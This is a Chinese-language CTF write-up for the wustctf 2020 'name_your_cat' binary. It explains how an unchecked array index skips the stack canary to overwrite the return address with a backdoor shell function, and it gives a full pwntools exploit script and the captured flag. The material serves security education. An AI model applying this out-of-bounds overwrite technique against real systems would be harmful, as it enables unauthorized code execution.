【wustctf 2020】name_your_cat
收获
- 利用数组下标越界实现绕过 Canary 修改栈上的返回值
思路
查看保护:
在 IDA 下分析:
这里循环了 5 次,关键在于 NameWhich()
函数
在 NameWhich()
中首先让我们输入一个数存放到 v2
地址处,由于 v2
是一个数组,数组名代表数组第一个元素的地址,因此其实是让我们输入 v2[0]
的值
然后让我们输入一个最多 7 个字符的字符串存放在 8 * v2[0] + a1
地址处,由于 a1
是作为 char 型数组 v3
的形参,因此这里是让我们输入 v3[8 * v2[0]]
的值
存在一个后门函数 shell()
:
查看栈中的布局:
由于存在 Canary,且没有其他的溢出点
但考虑到我们可以通过输入 v3[8 * v2[0]]
的值控制 v3[]
数组,同时程序没有对数组边界进行检查
因此我们可以使 v3[]
数组的下标越界,进而绕过 Canary 修改栈上的返回值
v3
首地址距离栈上的返回地址 0x34 + 0x4 = 0x38
,当 v2[0] = 0
时即对应 v3
的首地址
因此要修改返回地址的话,v2[0]
应该等于 0x38 / 8 = 7
脚本
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='i386', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 0
elf = ELF("./wustctf2020_name_your_cat")
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./wustctf2020_name_your_cat")
else:
# 远程程序的 IP 和端口号
io = remote("node5.buuoj.cn", 25944)
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
def NameWhich(payload1, payload2):
io.recvuntil(b'>')
io.sendline(payload1)
io.recvuntil(b'Give your name plz: ')
io.sendline(payload2)
shell_addr = elf.symbols["shell"]
for i in range(5):
if i != 4:
NameWhich(b'0', b'uf4te')
else:
NameWhich(b'7', p32(shell_addr))
# 与远程交互
io.interactive()
结果
flag{b953f0db-02fb-41e0-8b8e-11f9a74cc362}
评论